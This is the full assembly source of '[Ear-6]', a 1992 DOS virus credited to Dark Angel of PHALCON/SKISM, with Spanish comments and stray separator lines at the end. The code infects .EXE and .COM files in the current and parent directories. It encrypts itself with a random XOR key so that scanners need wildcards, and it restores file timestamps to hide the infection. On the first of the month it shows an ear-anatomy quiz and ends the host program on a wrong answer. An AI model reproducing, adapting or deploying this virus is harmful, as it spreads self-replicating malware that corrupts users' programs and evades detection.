2022-08-21 09:07:57 +00:00
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.model tiny
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.code
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org 100h
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longitud_del_virus = TerminaVir - EmpezarVir
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longitud_del_escribir = offset termina - offset escribir
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id = 'GH' ; Representa el l<>der de
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; PHALCON/SKISM, Garbageheap
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Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
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EmpezarVir:
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shwing:
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remendar1:
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mov bx, offset EmpezarCifra
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remendar2:
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mov cx, ((longitud_del_virus + 1) / 2)
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hacia_atras: ; atr<74>s
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db 2eh
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remendar3:
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db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
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add bx, 2
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loop hacia_atras
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EmpezarCifra:
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call siguiente ; Es estupido, pero es corto
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siguiente:
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pop bp
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sub bp, offset siguiente
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mov byte ptr [bp+numinf], 0
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cld ; No es necessario, pero
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; <20>por qu<71> no?
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cmp sp, id
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jz SoyEXE
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SoyCOM: mov di, 100h
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push di
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lea si, [bp+Primer3]
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movsb
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jmp short SoyNada
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SoyEXE: push ds
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push es
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push cs
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push cs
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pop ds
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pop es
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lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
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lea si, [bp+EXE_Donde_JMP2] ; infectada
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movsw
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movsw
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movsw
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jmp short SoyNada
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NombreDelVirus db 0,'[Ear-6]',0 ; En ingl<67>s, <20>por supuesto!
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NombreDelAutor db 'Dark Angel',0
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SoyNada:
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movsw
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mov ah, 1ah ; Esindicece un DTA nuevo
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lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
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int 21h ; el DTA original
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mov ax, word ptr [bp+remendar1+1]
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mov word ptr [bp+tempo], ax
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mov ah, 47h ; Obtiene el directorio
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xor dl, dl ; presente
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lea si, [bp+diroriginal]
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int 21h
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looper:
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lea dx, [bp+offset mascara1] ; "m<>scara", no "mascara"
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call infectar_mascara ; pero no es possible usar
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; acentos en MASM/TASM.
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; <20>Qu<51> l<>stima!
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; mascara1 es '*.EXE',0
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lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
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call infectar_mascara ; infecta las fichas de COM
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cmp byte ptr [bp+numinf], 5 ; <20>Ha infectada cinco fichas?
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jg saltar ; Si es verdad, no necesita
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; busca m<>s fichas.
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mov ah, 3bh ; Cambia el directorio al
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lea dx, [bp+puntos] ; directorio anterior
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int 21h ; ('..', 'punto punto')
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jnc looper
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saltar: lea dx, [bp+backslash] ; Cambia el directorio al
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mov ah, 3bh ; directorio terminado.
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int 21h
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mov ah, 2ah ; Activa el primer de
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int 21h ; cada mes
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cmp dl, 1 ; Si no es el primer,
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jnz saltarahora ; <20>saltar ahora! (duh-o)
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mov ah, 2ch ; <20>Qu<51> hora es?
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int 21h
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cmp dl, 85 ; 85% probabilidad de
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jg saltarahora ; activaci<63>n
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and dx, 7 ; Un n<>mero quasi-azado
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shl dl, 1 ; Usalo para determinar
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mov bx, bp ; que preguntar<61> la virus
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add bx, dx
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mov dx, word ptr [bx+indice] ; <20>ndice para el examencito
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add dx, bp
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inc dx
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push dx ; Salva el codo al pregunta
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mov ah, 9 ; Escriba el primer parte de
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lea dx, [bp+mensaje] ; la pregunta
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int 21h
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pop dx ; Escriba el parte de la oreja
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int 21h ; o el o<>do
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dec dx
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push dx ; Salva la respuesta correcta
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lea dx, [bp+secciones] ; Escriba los secciones de la
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int 21h ; oreja y el o<>do
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trataotrarespuesta:
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mov ah, 7 ; Obtiene la respuesta de la
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int 21h ; "v<>ctima"
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cmp al, '1' ; Necesita una respuesta de
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jl trataotrarespuesta ; uno hasta tres
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cmp al, '3' ; Renuncia otras respuestas
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jg trataotrarespuesta
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int 29h ; Escriba la respuesta
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pop bx ; El codo al respuesta
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; correcta
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mov ah, 9 ; Prepara a escribir un
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; mensaje
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cmp al, byte ptr [bx] ; <20>Es correcta?
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jz saltarapidamente ; <20>l aprueba el examencito.
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; Pues, salta r<>pidamente.
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lea dx, [bp+suspendido] ; Lo siento, pero <20>Ud. no
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int 21h ; aprueba el examencito f<>cil!
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mov ah, 4ch ; Estudie m<>s y el programa
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jmp quite ; permitir<69> a Ud a continuar.
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saltarapidamente:
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lea dx, [bp+aprueba]
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int 21h
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saltarahora:
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mov ah, 1ah ; Restaura el DTA original
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mov dx, 80h
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quite:
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cmp sp, id - 4 ; <20>Es EXE o COM?
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jz vuelvaEXE
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vuelvaCOM:
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int 21h ; Restaura el DTA y vuelva
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retn ; a la ficha original de COM
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vuelvaEXE:
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pop es
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pop ds ; ds -> PSP
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int 21h
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mov ax, es
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add ax, 10h ; Ajusta para el PSP
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add word ptr cs:[bp+EXE_Donde_JMP+2], ax
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cli
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add ax, word ptr cs:[bp+PilaOriginal+2]
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mov ss, ax
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mov sp, word ptr cs:[bp+PilaOriginal]
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sti
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db 0eah ; JMP FAR PTR SEG:OFF
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EXE_Donde_JMP dd 0
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PilaOriginal dd 0
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EXE_Donde_JMP2 dd 0
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PilaOriginal2 dd 0
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infectar_mascara:
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mov ah, 4eh ; Busca la ficha primera
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mov cx, 7 ; Cada atributo
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brb_brb:
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int 21h
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jc hasta_la_vista_bebe ; No la busca
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xor al, al
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call abrir ; Abre la ficha
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mov ah, 3fh
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mov cx, 1ah
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lea dx, [bp+buffer]
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int 21h
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mov ah, 3eh ; Cierra la ficha
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int 21h
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lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
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lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
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mov cx, 9 ; creaci<63>n
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rep movsb
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cmp word ptr [bp+buffer], 'ZM' ; <20>Es EXE o COM?
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jz buscaEXE
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buscaCOM:
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mov ax, word ptr [bp+f_long] ; <20>Cuan grande es la ficha?
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sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
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cmp ax, word ptr [bp+buffer+1] ; <20>Ya es infectada?
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jnz infecta_mi_burro ; "infect my ass"
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jmp short BuscaMas
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buscaEXE:
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cmp word ptr [bp+buffer+10h], id
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jnz infecta_mi_burro
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BuscaMas:
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mov ah, 4fh ; Busca otra ficha...
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jmp short brb_brb
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hasta_la_vista_bebe: ; <20>Le gusta Arnold?
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ret
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infecta_mi_burro:
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; AX = longitud de la ficha infectada
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lea si, [bp+buffer]
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cmp word ptr [si], 'ZM'
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jz InfectaEXE
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InfectaCOM:
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push ax
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mov cx, word ptr [bp+tempo]
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mov word ptr [bp+remendar1+1], cx
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lea di, [bp+Primer3]
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movsb
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push si
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movsw
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mov byte ptr [bp+buffer], 0e9h
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pop di
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add ax, longitud_del_virus
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stosw
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mov cx, 3
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jmp short TerminaInfeccion
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InfectaEXE:
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les ax, [si+14h] ; Salva el original empieza
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mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
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mov word ptr [bp+EXE_Donde_JMP2+2], es
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les ax, [si+0Eh] ; Salva la original locaci<63>n
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mov word ptr [bp+PilaOriginal2], es ; de la pila
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mov word ptr [bp+PilaOriginal2+2], ax
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mov ax, word ptr [si + 8]
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mov cl, 4
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shl ax, cl
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xchg ax, bx
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les ax, [bp+offset nuevoDTA+26]
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mov dx, es
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push ax
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push dx
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sub ax, bx
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sbb dx, 0
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mov cx, 10h
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div cx
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mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
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mov word ptr [si+16h], ax
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mov cl, 4
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shr dx, cl
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add ax, dx
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mov word ptr [si+0Eh], ax ; y SS:SP
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mov word ptr [si+10h], id
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pop dx ; Restaura el magnitud de
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pop ax ; la ficha
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add ax, longitud_del_virus ; A<>ada el magnitud del virus
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adc dx, 0
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mov cl, 9
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push ax
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shr ax, cl
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ror dx, cl
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stc
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adc dx, ax
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pop ax
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and ah, 1
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mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
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mov word ptr [si+2], ax
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push cs
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pop es
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mov ax, word ptr [si+14h]
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sub ax, longitud_del_virus + offset Empezarvir
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push ax
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mov cx, 1ah
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TerminaInfeccion:
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mov al, 2
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call abrir
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mov ah, 40h
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lea dx, [bp+buffer]
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int 21h
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mov ax, 4202h
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xor cx, cx
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cwd ; xor dx,dx
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int 21h
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mov ah, 2ch ; N<>meros azados en CX y DX
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int 21h
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mov word ptr [bp+remendar3+2], cx ; Es el nuevo n<>mero de la
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; cifra
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and cx, 31 ; Pone un n<>mero azado para el
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add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
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; eso, los scanners necesitan
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mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
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lea di, [bp+tempstore]
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mov al, 53h ; push bx
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stosb ; (no destruir el mango de la
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; ficha)
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lea si, [bp+shwing] ; Copia las instrucciones
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push si ; para formar la cifra
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mov cx, longitud_de_la_cifra
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push cx
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rep movsb
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mov al, 5bh ; pop bx
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stosb ; (recuerda mango de la ficha)
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lea si, [bp+escribir] ; Copia las instrucciones
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mov cx, longitud_del_escribir ; para a<>ada el virus a la
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rep movsb ; ficha
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mov al, 53h ; push bx
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stosb
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pop cx ; Copia las instrucciones
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pop si ; para invalidar la cifra
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rep movsb
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mov ax, 0c35bh ; pop bx, retn
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stosw
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pop ax
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; Codo del comienzo de la cifra
|
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add ax, offset EmpezarCifra + longitud_del_virus
|
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mov word ptr [bp+remendar1+1], ax
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call antes_del_tempstore
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mov ax, 5701h ; BX = mango de la ficha
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mov dx, word ptr [bp+f_fecha]
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mov cx, word ptr [bp+f_hora]
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|
int 21h ; Restaura fecha y hora
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mov ah, 3eh
|
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int 21h
|
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|
xor ch, ch
|
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|
mov cl, byte ptr [bp+f_atrib]
|
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|
mov ax, 4301h
|
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|
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
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|
int 21h
|
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|
|
inc byte ptr [bp+numinf]
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|
|
jmp BuscaMas
|
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|
|
Primer3 db 0CDh, 20h, 0
|
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|
|
|
puntos db '..',0
|
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|
|
mascara1 db '*.EXE',0
|
|
|
|
|
|
mascara2 db '*.COM',0
|
|
|
|
|
|
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|
|
|
|
|
abrir: mov ah, 3dh ; Abrir un ficha
|
|
|
|
|
|
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
|
|
|
|
|
int 21h ; el DTA
|
|
|
|
|
|
xchg ax, bx
|
|
|
|
|
|
ret
|
|
|
|
|
|
|
|
|
|
|
|
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
|
|
|
|
|
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
|
|
|
|
|
oreja1 db '1','Auditory Canal$'
|
|
|
|
|
|
oreja2 db '1','Lobe$'
|
|
|
|
|
|
oreja3 db '2','Anvil$'
|
|
|
|
|
|
oreja4 db '2','Eustachian Tube$'
|
|
|
|
|
|
oreja5 db '3','Auditory Nerve$'
|
|
|
|
|
|
oreja6 db '3','Cochlea$'
|
|
|
|
|
|
|
|
|
|
|
|
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
|
|
|
|
|
secciones db ' located?',13,10
|
|
|
|
|
|
db ' 1. External Ear',13,10
|
|
|
|
|
|
db ' 2. Middle Ear',13,10
|
|
|
|
|
|
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
|
|
|
|
|
|
|
|
|
|
|
; No es bueno.
|
|
|
|
|
|
suspendido db 13,10,'You obviously know nothing about ears.'
|
|
|
|
|
|
db 13,10,'Try again after some study.',13,10,'$'
|
|
|
|
|
|
|
|
|
|
|
|
; <20>Espero que s<>!
|
|
|
|
|
|
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
|
|
|
|
|
db '$'
|
|
|
|
|
|
|
|
|
|
|
|
escribir:
|
|
|
|
|
|
mov ah, 40h
|
|
|
|
|
|
mov cx, TerminaVir - EmpezarVir
|
|
|
|
|
|
lea dx, [bp+EmpezarVir]
|
|
|
|
|
|
int 21h
|
|
|
|
|
|
|
|
|
|
|
|
termina:
|
|
|
|
|
|
|
|
|
|
|
|
backslash db '\'
|
|
|
|
|
|
|
|
|
|
|
|
TerminaVir = $
|
|
|
|
|
|
|
|
|
|
|
|
; Los que sigue son en el mont<6E>n...
|
|
|
|
|
|
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
|
|
|
|
|
|
|
|
|
|
|
diroriginal db 64 dup (?)
|
|
|
|
|
|
tempo dw ?
|
|
|
|
|
|
nuevoDTA db 43 dup (?)
|
|
|
|
|
|
numinf db ?
|
|
|
|
|
|
antes_del_tempstore:
|
|
|
|
|
|
; tempstore es el buffer para el parte del programa que a<>ada el virus al fin
|
|
|
|
|
|
; de otro programa
|
|
|
|
|
|
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
|
|
|
|
|
|
; a<>ada cinco para los pop,
|
|
|
|
|
|
; los push, y el retn
|
|
|
|
|
|
buffer db 1ah dup (?)
|
|
|
|
|
|
f_atrib db ? ; atributo de la ficha
|
|
|
|
|
|
f_hora dw ? ; hora de creaci<63>n
|
|
|
|
|
|
f_fecha dw ? ; fecha de creaci<63>n
|
|
|
|
|
|
f_long dd ? ; magnitud de la ficha
|
|
|
|
|
|
|
|
|
|
|
|
end Empezar
|
|
|
|
|
|
|
